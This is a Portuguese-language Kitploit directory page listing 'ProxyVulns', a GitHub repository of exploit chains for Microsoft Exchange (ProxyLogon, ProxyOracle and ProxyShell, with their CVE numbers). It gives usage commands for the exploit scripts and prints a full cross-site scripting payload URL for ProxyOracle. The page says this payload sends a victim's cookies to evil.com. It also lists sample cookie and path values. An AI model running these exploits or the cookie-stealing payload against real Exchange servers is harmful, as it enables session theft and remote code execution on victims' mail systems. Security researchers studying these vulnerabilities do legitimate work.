Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ProxyVulns — [ProxyLogon] CVE-2021-26855 & CVE-2021-27065 Exploit do Bug RawIdentity Corrigido. [ProxyOracle] CVE-2021-31195 & CVE-2021-31196 Cadeias de Exploit. [ProxyShell] CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 Cadeias de Exploit. | Kitploit
Ferramentas/GitHubGitHub/hosch3n/proxyvulns
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubhosch3n/proxyvulns

ProxyVulns

[ProxyLogon] CVE-2021-26855 & CVE-2021-27065 Exploit do Bug RawIdentity Corrigido. [ProxyOracle] CVE-2021-31195 & CVE-2021-31196 Cadeias de Exploit. [ProxyShell] CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 Cadeias de Exploit.

Ver Repositório
17733há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ProxyVulns

ProxyLogon

Usage: python3 26855.py 1.1.1.1

ProxyOracle

root@kitploit:~
Once a victim clicks this link, evil.com will receive the cookies.

https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`[email protected]:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
root@kitploit:~
pip3 install pycryptodome

Usage: python3 31196.py 1.1.1.1 'cadata=xxx; cadataTTL=yyy; ...'

ProxyShell

root@kitploit:~
pip3 install pypsrp

Usage: python3 34473.py 1.1.1.1

Usage: python3 31207.py 1.1.1.1 [Local File Path] [UNC Absolute Path]

Não funciona em algumas versões do alvo (devido ao caminho /@gmail.com), talvez corrigir depois

Outros

  • Cookie: securitytoken=foobar

  • /owa/calendar/[email protected]/foobar/owa14.aspx/.js

Referências

Análise da Vulnerabilidade ProxyLogon (Chinês)

https://docs.microsoft.com/en-us/exchange/architecture/mailbox-servers/recreate-arbitration-mailboxes?view=exchserver-2019

Análise da Vulnerabilidade ProxyOracle (Chinês)

https://github.com/mwielgoszewski/python-paddingoracle

Análise da Vulnerabilidade ProxyShell (Chinês)

Baixar ferramenta